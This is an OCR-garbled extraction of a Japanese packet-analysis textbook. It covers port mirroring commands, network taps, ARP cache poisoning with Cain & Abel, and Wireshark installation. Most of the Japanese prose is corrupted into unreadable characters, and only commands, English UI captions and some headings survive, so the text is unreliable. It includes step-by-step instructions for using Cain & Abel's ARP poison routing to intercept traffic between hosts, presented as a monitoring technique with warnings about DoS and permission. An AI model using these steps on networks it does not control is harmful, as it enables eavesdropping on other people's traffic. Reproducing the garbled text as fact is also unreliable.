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REOHMWZFER TSI, NICETU I ZAF ¥ ZE— FOMHAMHER OSHLEICRY 3,
TUIAF Y AE=FTHFXY 7 F v THLEN LD, F¥T7F YL TVEA VT =T AD
MACT7 FLAICHERZEOND N T4 v 7 DAREZIRLI-WHAZT T,

W8

WindowsZZD[EFEEAEDOST., NICOTOZRF v AE—RE. eWLERDELE
. BERATEFCRA. TOIRF VAT FEERT OICHDRERDGENCAF TEREL
15, ZORY ND—U T hF v I F v ETINETIEBD F B Ao

S
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2.2 I\TJTERENERY RI—=ITOF+IF+

NTTHIEENAY VT =7 TOXF XY 7 F v i3 ETHHH T, 1B TTTILHAZEBY, b5
T4y 7 R@NTDTRTOR=MIHENT T LD >To NTICERINTWAIEERON T 74y 7
BN 5720121 NTDENTWEKR—MINT Y bEX TF ¥V —VH A ¥ A =L SR
FERT LT TIODOTT, TOMIE, TLEOBBIEOTRTOMBEZFTERL ZONTIE
Bl SN TR CORBOMEDIBMTEL LA FT, R2-2IH B LI, 7y bRy TF v
Y —=UE NT ISR EN TV TRTOBSROEEEZ SR TE T T,

F 07 F v ETRERE =

9

INTYFYTFY—Ib

L7,
L
\
~ {7
b
|
Ll
\
s
b
|
N
nal

S
Ea—

=b

2B drvEa—#C

H2-2 NTTHERSNEXy NI =TTl INTESRBTES

RETEEI\TY bFvTFvY—)UDSRTEDRBEDOHEZ., [+ v TF vElAEEE]
EVVSHTRUTCWVWET,

WMo, NTTHERENAY NI =213 0y N — 7B OHEBOME 2 5720, 5Tk
FEALHbNLTVETA, NTIEE—EIZ1D0O8E LA RZ Bz, NTE# L THERI LT
LR BELLIELTVRIEIAOREGREFHENY A L) 5, 2R Lo 5
BRCEB LI & 928, RI2-3IRT &) %87 v bOMBZEDSFA L, MFRE LTy MSHAL
T3, BWEHI Sy P BRELTHREMB) L9570, Ay b7 =2 L, S 5% 5%
BELET. T 74y 7 BHIIMUCTHZESZ 5 &, B33 v M2 3418 & HEE Lagiug
GHRWIZD, Ay T =T DT = VADPBINCHELTLIVET, BEDOLY NT— 7N T
THLAA v F2HH LTV B HHIIZZZICHD T,

S
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INTY N ERIETS INTY N ERIET D
avEa—~%# aAvbEa—4%#

H2-3 2BDHEBIRERFIC/NT Y MERETHE, /N7y MOBERNIEZ S

2.3 AL YFTEBEINRY ND—ITOF+TFv

1ETHPALZEI, BEORY M =7 BETF LMD TWE Ry b7 — 78I AL v
FTTo ALy FIE7TO—=FFr A+, Z=F ¥ A, YVFF Y 2 bDOTF— 5 ZRFRMICEX LTI,
BT, AL v FRECHMEDN TR 72D, F— Y OREBEZEZRABICITZAT . =) X4 v
FTHREIN 2Ry M =27 ETOF v 7F i3, NTTHR SN 23y b — 27 FEHMTIEH X
Fho R2-4I1TRTEBY, AL v FICHERINIZ Ny b 7F ¥y —lid, 70— FF v A+
Tobhe, V= HA VA=V ENTVEEEEDONr v P LR L EBTELRVDTY,

FrTFv
& T4

Ty R Fv T F 4 =)~

avEa1—72E aAvEa1—42F

avEa—#4#8B dvEa—42C

X2-4 24y FTHEBERINEZRY NT—TTE Xy M+ TF vV —ILPA A= LI TV B8P ER IO
TWBR—MrF v TF v alEEGEH A5V

S
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AA v F TR ENIZA Y 8T — 7 THREUNOEEGOMEL v 7 F v 35 Tk LTI,
RK=bIT=U T NTOMHH, 7y TOMH, ARPF vy ¥V aR A V=0 T D420 HYE T,

231 R—bFE5-UVJ

R—rI5—U2T (R=—PFRNZLT) 13, AL v FTHIR SN Ay P T — 7 THFy I F v %
DGOy Ve XX 7F v 55 —FMELETT R=FIT—V F2flilT5I100E, Fr
TF XN GEOEBRIERENTVI AL v F%2, IV FELIEWeb<Y AT AV M V¥ —T x4 R
S THRIETALELHVE T MA T AL v FPRR=IITFT—=Y U TE2HFR-PLTNVEHI L,
EDAL v FIT, ¥ TF Y HORGZ T 570D EER— P HL I LHLUTT,

F=bIF—Y U7 EMEMTHICE AA v FDARY T VAV F =T 24 A%, FED
R rDHEEEPOR—-MIAE = (35=0)227) THLI A~ P ANTHLLERDHYE T,
72E 2B B— P30Ty bRy T F AT HBRIE. Fr S F MO a— B R— M ICHERL,
R=F3INOR=MIIZIFT=) YV TIHERIT) LT NBEOWBOMELZ R L0 TESL L
HCHEYET, RI2-513R—FI5—) VI ERLAELDTY,

aAvEa1—4D

AVEa1—42BDR— %
Fr T FvAEBOR—F
IE25—U>09%

&/ avEa—~#E avEa—#F

NrybFvTFvY—)b

FrTFv - .
BIELHEIE a>Ea1—4%B avEa—4%C

H2-5 K—=brIF=U2TIZE0T, A TF A PIREEHEILATES

R—=bIFT—Y VT DRODEREF, ALV TFONRV T —IZEoTRLZYVEST, FEALEDAL vF
T, axvyFos4 4 vy =742 2ar 4L, R=b3I5=9) 0 7ax s Fe AT HLEH
HYFET, ¥2-11&, — R ER—PIF—) vy Fav s FO—ETY,

W N

R—=hZS5—UYIDF T3V EWebN—ADGCGUIN'SHECE DR vFHHOH
IH. HEDOD MM TFEL REEDEINTVEEBA. LD L. GUIZEESTIR— =
UV IEMENICRECTEDES. ENEVFFHDEE A

S
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®2-1 K—rIF-Y2T%HFMELTHaTR

Cisco set span <3IT7—U> YR —b> <IT-U2THKR—b>
Enterasys set port mirroring create <3TF—ULJxLR—bF> <ITF-U2LTHEKR—bF>
Nortel port-mirroring mode mirror-port <3IZ7—U>¥LKR—h>

monitor-port <3IT—UHEKR—b>

R=PFIF—) U7 &MHHTAELEEIR 35—V VT LTVAR=—IDAN =Ty MIEEL TS
S, A v Forilid, 2B EOREROMEEZRIRIHIT TES LHIT 5700, BHEOKR—%
1D2DKR—MIIT—Y T TELLDBHNET, LELBDDH, 2L 224K — DAL v F T,
100Mbps, £ THlET 523 R— b DMHEEEZ12OR—-MIIFT=) VI LEgEEEZ TAHATL
728w, 4600Mbps bD T 7 4 v I BRI DODOR—MIENE D LILERA, € RIUE, bF 714y
7 NH—R— T OYHI R Z 27200 T X7y FOHRR A Y VT — 7 OREZ G ST
ZLIZHEDET, T LR TIE, A4 v FAE L ENZ2W STy Mg _THEFE LD NERE
B[ IE ] LTLEW, BEFE o TER Lo TLEIZENHNE T Ty M eF v TF v
FTAHBICIE. TOL) BRIICE DLV K HITEEDITF TSV,

2.3.2 I\JOfEH

AL v F TR ENT Ay v =7 LTy v e F v 7 F 23559 00D L, NT R
THILTT, Ny haedy 7 F v Lo LTI OSSR Z. N7 ICERTAZETHUEA Y b
T—=2 AV EICEWTLEIDTT 2LDALXIE, ZFDEIINTEZMIAT B LIEARIER
TRHPELEESTOETH, K= IT—=) VI LWEREET, 2OF v 7T ¥ LIz B
ENTVD AL v FIZWHEMIZHS Z L 25 RECThIUE, NTOMHIZF ¥ 7F v 2 HEH T 55884
Kk g52FT,

N7 L THRBOEELZF ¥ 7F v $572DICMLELDIE NTERKRDRY v T—2r—7
WIETFTY . LELDDIHi-726, WO LHITERLET,

1. AL v FOBHLGEIIATE, FXY T FXNROEROr — 7TV EHE T T,
2. FxTFXRNGORED T —TNENTIZOBEET,

3. ¥y TFYHOWERENT 2 r—T NV TOREFT,

4 NTEAL v FHTF—TNVTOLEET,

CHT, FXTFvHOBERE Y =7y b=V YARIL 7O —FE X AR AL ¥ RICHEETHZ &
WD ET B2-6DLH I, F¥ T FYMROBEBNFRZET L2857 v ME, N TICEREINL TS
FTRTCOBHIITO—FF Y APEINDLZ LR, Ny bRy TF Y =Ty by 7 v
TELLHIZHVET,
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25

drvEa—4%D

&

avEa—%A

FrTFv
& THEHE

Ny b . o
v T Fp OvEa—~4E aAvEa—~#F

V=1l

avEa—#C
avE1—%B

TE3

K2-6 NTEESIZET. X+ TF v HROMEBREX v TFvHADOKERERAL JO— KX v AKX B ED

[A¥D] I\NTZRDIT2

NTEERAT D28, A v FXOTNUDBMHNTZAAL v F TR RYONT2f[HH L9
HAaEDITTLEEV, EBIIIEREDE AL v F O LR WL LT, NTEL
TEE WRTHEVCIEEZHOA—I—DPHEETIHOTT, NTEHDbRVE, 17
F AR BOWRRD/ v b TR BHONT y FLPRZZENRTE TR AL

NTZRJWDOF726, ENBERYDONTHEI T AL EFLE) AYTHIUET v F—T
Fo RYONTHE D DRHMT 2 EOHHE, 2HOBRICER LT 0BRSS
1B EDMEEF XY TF X TELNE) D, T8y 8T —27 EOIEIDPORERRR T » 5 E O
MEDMEEF XY TF Y CTEINEIDPEMERTHILTT, TR TEIUL, RYPoONTEL
WHZEIZRYET,

NTIERCEN 720, BIFETEH TV RBEIN T ER A JKEHTAYONTZIEEAT S
DIXF L AERTRE R T2, DA BT LETT, HICOFRTON LA —2 2 a Vi EE
BB TY o BV FERIIBERELGTHHINCA — 27 a3 v 2479 SEBRRB/H IO TSI 2
W2 OB DTE SN TV LI ERIL DY ET, HRE LT—rT Ly FE) DRV T,
BaonTahmilit—22a v CAFLIZAAEZH->TWET, T/zeBay b RV ATFILETTA,
NTREEBol2 AL v FoOPEENLIENHLDOT, EEFLETT

WERTE - BT, B Eoil Y 2y TRERRAGRES e PEONTIZRYE) S 3L B> TL

FuF L BRIV E=FINT, 27— N7 REEPRLTHUIRITTLE) .

S
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72V TVOWE NTEM) L EOBEIEEIENE T NTOMHIZT — T MTEAT
BRBDOFELIZBEATEAD, B—FIF—) V72 R—FLTWAVEAR, ZohdzM)
LpHNECA. 2R INTIEBESLETHY, ShEROT2008H LG bH5H L5
ZTBWTLZE W,

»@'»\

o DNTICE>TRL & T—IEKRTSE LTV REDFEREIC. T5ACBEL
« e VWSEREESTRL T EESBDULET, FHABENERHDCECR S TS
- BlEEBES5TT,

2.3.3 v JDER

[ATF—=FDBHLDIC, EH)LTTFFVE2AERLZOP] vy Sl LizL{msnTnwET (FHH
HEZL [BIFRO—=x 2B o502, £ LTNLEALIEEI LD LNTEAD), ZOERIL,
¥y TOMPENTOFHIZH B TIIEVE T,

XY RT=02y 7 (Bv7) E 200BEREOMICKELT, 202Dy MeF v
FXFTHIZODN—FT 2T T NTOYHE, 2y 8T =27 HNIIN—=FY =27 2 #%# LT, SERN
ryNEFYT7FYLET NTEDEWE Ry NT = 7T OIS INREI E NN —F Y =
TERME) LV ETT,

Ay NI =25y 7I2E, RICHABLIERERO2MEIHN T, EHoH0 Y v T 2HDOME
OICEBESN, BELZXFY7F Y LET, MAMS v 7LIEREGR Y v 7O T L, FEHRER
WIERI2-7 TR L2 EDITADDR=IBH LD Ly ARIZIE3 D LI LT,

K2-7 BarracudaFf#fiaiizy 7

5y NGB BIESLLEETTH, I ey MO RTH, FERETHIUI T v b
Fy 7T DRELZERNEM L H) 5

23.3.1 HiglyvJ
WA Y v TOMNIF IR T, RAMOMEL Xy 7F v 3T 5WHMLEMRR -T2 1> L
BTV HTT,

S




——

23 ZA YFTHRSNCRY NO—0TOFvIFv | A

WA S v TR oT, AL vy FICERINZIBEORBOTRTOBEEZFv 7 F v 51213,
KOL AT ET,

1 HWEE 2L v F PN LET,

2. Ay NI =0 —=TNO—F I o%E ) —hE sy TOTAN]RK=MIOLEET,

3. MOy —TNo—F %5y 7O W] R=-MIORE )AL v FIlOREET,

4. REDT—TNDO—F% 5 v TOEHR]R=MIO%E $H)—FHE X ry  FxTF vy —
W U THERET 250 &5,

MEM S v TIER2-8D LI ICERENTVDIETTT, TORNT, X7y by 7Fr v — i
7o TR LIRS O TR COBBEEF Yy 7 F ¥ 3521220 ET,

ALY T

‘

RAYF

42—

INTY R FRYTFvy—)b

K2-8 #MEEEZ Y TeFESTXYNT—TIRNT T4 VX4 TFvT3

2.3.3.2 FREERIVT

FEMAER Y » TIEMAR LD LA LB TTA, BREOF Y 7F v L) T TR I FRELHD
F9, MFTEEOBERIIME ) K= 31272 H 2D TIE AR, K= 2205505 TT. O
EEHAR = 2 —HOMlEOF Y 7F I (Fy FICERIN -2y 2= 505EE), ) —
FERBHHOBEE BEEICA > TWGERE) 1) 2 e TELEDTY,

AL v FIHRENT1BDI V2= DTRTOBEEXF ¥ 7F v T 5I120FL, KD X H 7w
7,

1. e 2L v F o LET,

2. 29 NT =0 —=TNO—F IO %E )~ &y vy TOTAN] K=MIOLEET,

3. Ior—7Vo—Ji%5y 7o W] R=MIORE, b9 —FHaeky NI =27 AL v FIZD
HEET,

4. SRKHO Y —TNVNO—F %8 v 7O [EHAI R—MIORE $H)—Hz 0y ¥y 75 ¥
V=& LTHREET 2RO NICIZO R E T,

S
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5. MBEDFr—TND—Ji% [BEHB] K—MIO%E, )—FH2 1\ rvbFy7FFry—LkL
THERE T BN L A VD EDDNICIZO L X E T,

IEREM S v TR 2-9D X ) ITHEH I NTVWBHIZTTY,

Ny FYTF Y —Ib

X2-9 FE#HEW LY TeF Ty NT—INI T4y T X+ TF+$5

23.3.3 RYBNI=IH5YTEER

2HHD S v TOENEFWLE L7225, LK 0DOTL L) d0 ZLOHE, UWELRTF—T
BEAL %L Xy b F e T F ey — e LTRET 2822 0O NIC &2 L & L Wi aHlps
HENET, LPALRKEOHEBELZF v 7T v 35560, —HNOBREOALF v 7T v T 55451,
GRS v THITLEI,

BORVEREDY Y TN =Gk 88y Thb, SHOMIKERL 87 TADNT 7485y
TEC, SRR Y v THMATE T3, 451X Net Optics & Barracuda Networks ® % v 7%
flioTVETH, WL LTOE T, FPCDENLZY Y THHEL DL BT,

234 ARPFvvyalRka4vy=Vvy

T=TNVIEAT BT 7=y 7O T, BRICAYDOEDPBARPF v v ¥ 2K, V=V 7 TY,
ARP 7' P I VOFMICOVTIE6ETHMHLE T, I TlE ZOT 7=y 7 OBELBFS 572
DITACRLE L FH 2TV E T,

2.3.4.1 ARPE

1T 37y POT FLAIEESEODDEE 2O DL W) 2HNBH L L2 FUE L7,
E2BOTFLA (MACTRLZ) &, E3BOTRLAEEHEEL Tlibh 3, AETIE, FEREE
DOHFEHEST, HBIBOTFLAZIPPRLREIFUE T,

EIMOAR Y T — 7 BEIETRTIPT FLAZflio CEREZITVWET. A4 v FIZ0SIBIRE
TILVOE2R™CTEEL. H2HOMACT FLA LB LW/, BERAERT 5787 v Mk

S
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MAC7 FL ZADEH M T 2 LE DY T3, WY I8 v MRk T 572012, MACT
FLARRHZEA R, BAOHEIBOIPT FLAZ Mo TINETUE L AT IR FRA, 20
7t 21k, ARP (Address Resolution Protocol) & MHEN 52D 71 b2 )WiZ & - THT
bhEd,

ARPILEIZ, 4 —H A2y Ay b =2 ICER LTV A 1AOEEN oML EELL) & L
EEICBIIBENT T, RETTOMMIIEITARPF v Y 2 2 A L. SEOHWEEDIP 7 FL AIHIE
$5MACT FLADHMFE A THRODEHER L E T M SN T0ZIFIUE, 1R THH L2 LH 12,
F—#) 7 EOTa—F*x A M7 FLAFFFFFFFFFFFFIZ, ARPY 7 A M2 %D E9, &
DOy MET U= FXFx A M7y bCH L7, FEDAL =1y b T AL MNIH DL TRTOR
BYPZRETHIEICRDET, 787 v MITMACT FL A XX XX XX XX XX XX %A $HIPTFL
AE? ] EEML TS DIFTY,

COIPTRFLAZA LaWHESHIZARPY 7 T A M HICHEFE L 9. 5610 7% 2158513, ARP
VARV AIZESTMACT FLAZBREL T T, L4 DREILOREIEIE, T L > THIEDES
LOBRBICLERTFT—7) Y 7 BOMNEHEIA L, FRRKETEL L) ARPF vy ¥ 21220
WAL LT,

23.42 ARP*+vvyaRka4YV=VJDEME

ARPF ¥ v ¥ 2RV = 7iE, ARPRT =T 1 T L HIFEN, BYOMAC (5528) 7KL X
EELARPA v — V%A —H Ay MDA v FERINV—FIZEB L, NORGONT 749 712
HALUITY, R2-10 3 ZOEEZ PR L2 DIZ%D 3,

ARPF v v v aRA V=V 7E, A v F TR SN Ay PT — 7 ICBAT D RELRTHETT,
UL H ., BE~OED AAR DoSK % (Denial of Service attack : ¥ — Y AAFERLEE) 2 4T
LHIT, BELZT FLADONr v " RA MRS Y T — ZBRERICRIET 572012, WEHIZE -
THHEINET, LrLEDD, A v F TSN Ay b7 =2 LT, FFEORGRD/ v b &
Fr 7T T LFRELTHM) LB TEET,

BEDBEE ARPFvyaiRAV =y

IROMER AAYF ==

Ny hFvTFoy—)b NrybFvTFvY—Ib

K2-10 ARPF vy aRIVZLTIZES T, WROEERDBEICEV AL

S
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2.3.4.3 Cain & Abel DfER

ARPF ¥ v v aRA V=V ZF 2 AT 512E, FTLELRY V2 AT L. WO»DIEH%
ALTBLRERHYVFE T, 22TIE Aetxa) 574V =V THY, WindowsZHELTW5
Oxid.it (http://www.oxid.it/) @ Cain & Abel % ffivrF 3, Web 4 FOFHIHESTHF Y v a—F
Ly A VA= LTLEENT,

Cain & Abel%# {4 Y A b= VI BRI, EITHARANDIPTRL A, F5 7492 %Fx7Fx L7z
W RO, FOERPER EINTOEN— 7 DERR EZHER L TBLLEXHY T,

Cain & Abel ZRET 2 L, 74 ¥ KD EHICWORLD Y THMERTEX 51T TF (ARPF v v
Y aKR4 V=73, Cain & Abel BFOZ L DDV EDIZT EEHA). ARPF vy VoKV
=¥ 73, [Sniffer] ¥ 7HHETTHIENTEE T, [Sniffer] ¥ 7227V v 7 35E, K2-11D
L) RBEORPFRENLITTTT,

Tools Help
|+9/a s ommrE~s@ 2832 Q¢

[# Protected storage [P network [y sniffer [g§ (5ASeaets [of Cracker [ Traceroute WG ccou [T wireless |
IP address | MAC address | ©U fingerprint | Host name |B31]B15[B8 [ [mo [m1 [m3 |

i

=] tosts i@ aer [ Routng [T Passwords [ vorP |
hittp:/farww, oxid.it A

X2-11 Cain & Abel® [Sniffer] 27

COFRIZTEME KM SR 25720, Cain & Abel DK/ v b v T F v — IV &EE LT, 4
T—=7 LORAINEAF Y v RLENFHYET, SHEUTOFHTITVWET,

1. V=N —=DkH»527%H, NICOTA a7 Aar& 2y LET,
2. ¥ T FXICHAEA V=T 24 AP NTE T ARPF vy v 2 RA V= v FEfTwizn
Ay NI =2 LTV BAL Y7 —T 24 A% BIRLTLZE W, BIRLAS [OK] K7 %

T HEFRTE © Cain & Abel i3/ XA T =R 27 59 F v 7y — Vv Thbld, ¥y ra—RKyR7ay 7 shizh), ©¥ENE Y
NI =2 OWEIEAY T =2 BT T — M LA 572 TEHENRDHNFTOT, HERHLTLZ S v,

S
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7)) w2 LET (Cain & Abel D37 v b X 7 F ¥ B2 AMICT 2720, TIOXRY U %
FLTLZE W),

3. [F174avE sy L, Ay T =2 LOFRAI—EEZERLET, THER2-120 %9 7%
[MAC Address Scanner] ¥4 72 7% FR &N 50T, [All hosts in my subnet] 54 K%
YEBIRLT (HAWIEEE T FLAH#IPIZEE L), [OK]I F¥ &2 Vv 7 LET,

5I

— Target

& All hosts in my subnet
" Range

Fram
’7 ST L 17| |

To
’7 o, o, & Za

r~ Promizcuous-Mode S catnner
[~ ARP Test [Broadcast 21-bit]
[~ ARP Test [Broadcast 16-bit]
[~ ARP Test [Broadcast 8-bit)
[~ ARP Test [Group bit]

[~ ARP Test (Multicast group 0]
[~ ARP Tast (Multicast group 1)
[~ ARP Test (Multicast group 3]
[~ &l Tests

Cancel

X2-12 Cain & Abeldx v b7 — &%y —IL

INTHRIZE, Ay FT=ZIZHERENTVWARIAMDOMACT FL A, IPT FL A, Ry ¥ —{E#
LEQ—BENEREINLIETTT, INLOMHREFHAL T, ARPF vy Va2l V=V FEIATL
9,

74 Y RO T, [Sniffer] ¥ 7CTHHTE2RED 5 THFRENTVDBIXTTT, FR
b %R L7256, [APR] (ARP Poison Routing) ¥ 7 COEEICKV TS, ¥ 7% 27 LT,
[APR] w4 ¥ Ry~ B2 E ¥,

[APR] 74 Y FUTld, 20DZORPFREINE T, DRORELETT5 L, LOKITIZARP
FrvYaRA V=V TP TN ROERD. TORIIIARPF Y v ¥ 2R, V=V 72 75T
WHRESR AR L TEE L TW 2T RTOBBOERI TR INET,

ARPF ¥ v ¥ 2 RA V=V FOBREFILDTO LB T,

1. FOEOEEESEZ) v 7 Ly RISy —WN— FIZhs [+] Ky vE27) v 7 LET,

2. KxR2OBUIWARIFA 7 urpPFoR s, EMOFIC, ARPF vy L aRA V=V 7k bl
BOF AR WL RATDO—ERERENE T, FT T4 7 E2F XY TF v T8 L %5
BHARAINDIPT FLAZ 7 ) v 7 35E, AHORIIIFRYDFAIO—ENRFRINET,

S
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3. HOET, BEWAA N M H72oV—FDIPTRLAZ 2 ) v 7L, [OK] Ky v &2y
ZLET (B2-13), TNT, EHFAMNEV—FDIPT FL AR, [APR] 74~ Koo Lo
IZFERSNET,

4. JfRIZ V== LiCh B L RO~ —2 (@) 22V v 2 LET, AT, Cain &
Abel DARP ¥ v v ¥ 2 KA V=V FEEBBE N2 D, KR PV —% Lo @EICH
DAL LN TEDLLITEDET,

INT ATy b F T F oY — Ve io GRE RN TE LIV E L. Ny boF v
FAPRET L7265, wn RO~ —7 (@) 2HIE2 ) v 7§52 LT, ARPFry T a Rl Y
=T REIETEET,

New ARP Poison Routing ] ll

WOARMING NI

APR enables vou ta hijack P traffic between the selected host on the left list and all selected hosts an the right list in bath
directions. If a zelected host has routing capabilities 'WwWaAHN traffic will be intercepted as well. Pleasze note that zince your
machine has not the zame performance of a router vou could cauze DoS if you zet APR between your Default Gateway and
all other hosts on pour LAM.

IF addrezs | b | Hosthame | IF addrezz | b | Hozthame
192.168.0.1 001 3460B 2264 1680, 000550 21 394C
192.168.0.10 000550 21334C 92.168.0. 0013460 3t
19216800193 0015F2407EEF

d [ 2] [ I
] I Cancel |

H2-13 ARPF vy 2 RMJZ T AT HHEE%EIRTS

23.44 ARPFvvYaRAYV- VI ZESEDIEER

ARPF v v v aRA V= 7id, BARAMOEENGER L TEITLTLE S v, 72E 213, Y
ETBREEDIGbps TA Y bT = Z IR ENTWBE T 7 A VT =D L) B, Ay bT— 79I
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3.1 Wireshark ®EsE
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L.ERLTHESITEDTEFT (BHBEAAZTDI— RHBERINNETIH),

B
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DIRTCEYR—=FLTVET, $R=FLTVBH0SHO—EIL, Wireshark ® Web X —
TRZBZENTEET,

3.3 Wireshark®1 > X b=l

Wireshark® 4 ¥ A b= WIZEIIERHETT, 72720, 4 YA N=VHIICUTOY AT 2 8%
W72l TN il L TBNTLZE W,

e 400MHzV. o CPU

e 128MB ®» RAM

e 75MBLLEDT 1 A 7 FHi

o JUIXRFYAE—FEHK—FLTWVBENIC
® WinPcap ¥ ¥ 7F ¥ FF AN

WinPcap & ¥ 7F ¥ F 5 4 /Nid, pcap &\ 9737 v b ¥ 7F ¥ API® Windows i T3, HLHlIZ
AVAN=NVTBIZTT, SORTANGZOSERVIY LTHED Ty b TF—F & F v TF v L7120,
TANY E#EALZZD, NICEZ T IAF XY AE—NZYN L) LTINET,

WinPcap & (http://www.winpcap.org/ %5 ) 5ICF Y > B —F§25 2 b TEX A, d@H
IEWireshark /80 r — I 64 VA= NVTAH5ZL2BEOLET, v Fr—JICHMEN TS
WinPcap & Wireshark TOEIED TR S 72— 3 TT,

3.3.1 WindowsT®OD1 VX b=l

Wireshark # Windows (24 ¥ A b—V§ % &) O—#1x, Wireshark ® Web X — < (http://www.
wireshark.org/) 225, HH O Wireshark # A T35 2 & T3 Web¥ 4 o [Download | ~& if
By IT=HAPERRLTLZSW Sy r =Yy ya—FLEL, MFOFIETS YA =L
LTL7Z& W,

1. exe 77 ANET TNV )y 7 L, FRENZFA 77T [Next] R %2 2) vy 7 LET,

2. IA4 e REGA WAETLRE [[Agree]l K¥ %2270y LET,

3. R3-105 4707 TA Y AM—)§ 25 Wireshark ®3 ¥ R—% ¥ bR F§, T TEAT
LAWY [Next] K¥ %227 v 27 LET,

o BRI ARTEEGARIE M TIE. Web ¥4 +@ [Download Wireshark ] ~& A, LT3 OSIZAF L2/ 8y 7 —
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i Wireshark 1.3.3 (64-bit) Setup

Choose Components
Choose which features of Wireshark 1.3.3 (64-bit) you want to install. ﬁ

The following components are available for installation.

Select components to install:

TShark
Plugins [ Extensions

: Tools
i..[] User's Guide
Description
Space required: 72.9MB Position your mouse over a component ko see jts
descriptian.
Mullsaft Install System vz, 46
< Back ][ Mext = ] [ Cancel

L

£3-1

AL AR=IEBALK - N ER

[Additional Tasks] 4 71027 Cid [Next] K¥ %27V v 7 LET,

Wireshark® 4 ¥ A M —ViE%$RE L. [Next] K% %227V v 7 LET,

WinPcap% 4 Y A =V hh%&T3NRb5 A4 T7arPERENSDT, [Install WinPcap]
Frzv 7Ry 7 AREI2DEHIIF v 7 E3NTWE I LR L, [Install] K¥ 2 %2710y
JLTAVAM=VERBLET,

-
i Wireshark 1.3.3 (64-bit) Setup

Install WinPcap?
WinPcap is required to capture live network data. Should WinPcap be installed? ﬁ

Currently installed WinPcap version
‘WinPcap is currently not installed

Install

{Use Add/Remove Programs first to uninstall any undetected old WinPcap versions)

What is WinPcap?

Mullsoft Install System w2, 46

[ < Back ][ Install ] [ Cancel

-

X3-2 WinPcap FZ1 /D1 > X b—ILERIRT 3
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7. Wireshark® 4 ¥ A b — VD @EH T, WinPcapD A Y A M=V EF D 9, Wiz 235
FATUTHERENDEDOT [Next] K¥ &7V v L, 4 A% HATHS [1 Agree]
Ry &7 ) v 7 LTLIEE N,

8. WinPcap»*{4 Y A b—NENE§, ¥ T L75 [Finish] Ky 270y 7 LE5,

9. Wireshark®f Y A b=k & E 3, T L7725 [Next] Ky 270w 7 LET,

10. f YA M=V T OWER S A4 71 7T, [Finish] K% v %27) v 7 LET,

3.3.2 LINnUXTOD1LYA M=)

Wireshark 7 Linux 24 Y A b=V $ 5 DO—#x1E, @R Af VA= vr—I0F Y ya—
FTYo 72720, §RTOLNUX A A M) 2= 3 a8y r — V2t L TWw i biFTidawno
Ty X0 =TV D E Vo TEDPRWTLIZE N,

BEYAT RV T 2T EA YA VT BT root AL E LR D T LLY 7T
VTRV —ADNS T ULV LUTHAIA Y A= T 58413, —BIZroot R LTA » &
F—VIRETY,

3.3.2.1 RPMAX—=ZRADY AT L

Red Hat Enterprise Linux ® £ 9 %R RPMX—ZD 7 1 A M) ¥ 2 — ¥ 3 »Tld, Wireshark ® Web
PA PO A VA= —V%F a0 —FL7Z)AT, AV —LERE ROLHIZ
ANLET (77 ANVRIET Y v =R L7223y =Y DL DICHHEEZ TLEEW) T,
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TR0 5 =T VA=V ENRTRWEAIE TRH2 4 VA=V L THHHFE
Wireshark % f ¥ A F =)V L TL7ZE W,

3.3.2.2 DEBA—=XADY AT L\
Debian % Ubuntu® X 9 %ZDEBRX—ZADF A4 A ) a2 —3a v Tld, YATLADYEI MY H5
Wireshark# 4 Y A= NVT BT ENTEE T, IV —VERHE ROLIITATLET,

apt-get install wireshark

3.3.2.3 YV=ZAH'S5DaVI\LI
fioTWALinux 74 AN ¥a—a I8y r— VEMBHED W4, Wireshark % £ ~ A
VT BEREDTEZY —ADSD I L VT T, UTOFMEAZIEIfTFoTWEF T,

1. Wireshark ® Web ¥4 "6V —ZA v r—J %5y a—KFLE T,

T BEAE ¢ T FedoraX° CentOS 72 £ ¥ A 7 A Cld wireshark-gnome /Sy r — V% 4 Y A=)V L TLEE W,
wireshark /3 7 —JI3a<x Y K54 VDS r =V o TwET, $72RPM 7 74 V& A YA —VT 5
DOTEEL, yumZflio721E) BSEWTL X 9o
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2. MDEHNCANLTCT—=HIAT#EBHLET (774 VAT U= F Lo r—=Y0b0
IEEZEZTLZE W),

tar -jxvf wireshark-1.2.2.tar.bz2

3. HHUHER SNATA L7 PV T 7 A VD ERESNETOT, £Z12cd LT,

4. roottEfR %> —H¥—Ta~< > F./configure % #47 L C. flioTWw5Linux 74 A~V
Ca—va Q@ LAV RERIT) 20y — A2 i L Lo 774V MAISHD L X A=
HER LI2WEEIE, S2TH TV a v 2RELE T KETHIA 7TV REVBROHDLR
WHHIZBZO LT =D ETETLL ). MEDNRITIUL K3-3DL ) Bl ERT Ay
L= INRFERENSIEETTT,

csanders@localhost:~/Desktop/wireshark-1.2.3

File Edit Wiew Terminal Tabs Help

Use POSI

3-3 ./configurea<> K RINL-HEDRR

5. make IX VY REANL, V=ADBNLF)EELVFLET,
6. make install A~ ¥ FTEREWNZRA VA=V EITVET,

3.3.3 Mac OS XTIV X ;=L

Mac OS X Snow Leopard {2 Wireshark % 1 ~ A b — )V § 2 I E T OREESLETT I £ V&
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F—LZDLDRHELVDHDTEH Y FEA LTICA VA= LOFNEERLET

1. Wireshark ® Web ¥4 ;5 DMG /Sy r—Y %7 v u—FKLEF,

2. Wireshark.app % Applications 7 # V¥ 12a¥—L 7,

3. Wireshark.app ® Utilities 7 # V¥ % B & 37,

4. Finder T[Go (#8))] Z2V » 7 L. [Go To Folder (7 # V¥ ~BH#))] % IR L T3, HilF T,
[/usr/local/bin/] E AFILT4 L7 M) ZBE E5,

5. Command Line 7 #+ V¥ ®W & % /usr/local/bin/ 123 ¥ — L F T, TIIII/SAT—FDAT]
DLEETT,

6. Utilities 7 # V& ®H1® ChmodBPF 7 # )V ¥ % Startupltems 7 # V¥ 22— L F9, IN%
FEA LA VA=V Z2% T 5121, HESAT = FOANPROLNE T,

3.4 Wireshark DEZX

Wireshark # R XA YA M= NVTE2L, H Lo TALIZETTT, EoZLLZEEWD/ NV
Py 7F Yy —VaRB LT, X7y b AT M FRINEEA

Wireshark Zi28) L 727213 TIHEVHHLS HY T A TMHVDDZ B2, 77— & 2 IUET
LVENHYET,

3.41 BUHTONTY M+ TF+

Wireshark T3 v FOF— 7 ZENTT 51213, TFX7r v b EFy 7 Fy LATNIERD T8 A
(A9 FT—=ZICBENRVDICE I RS> TNT Y M Xy IF X T507259 2 | LEMICE) 20 b
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WIS, 287y MENTE, BESH L L EILPTDRVLIOTER N FEA, EBEOLIA, R v b
T—7BMBEINT TN a—T 4 7RI, BEOLRWEEDAY MY — 7 OfFNT I %2 #)\WT
WET, AV NI =T DT TN a—T 4 YT ERIPRIIT ) 720120, &y 8T — 7 2NIEF R IKE
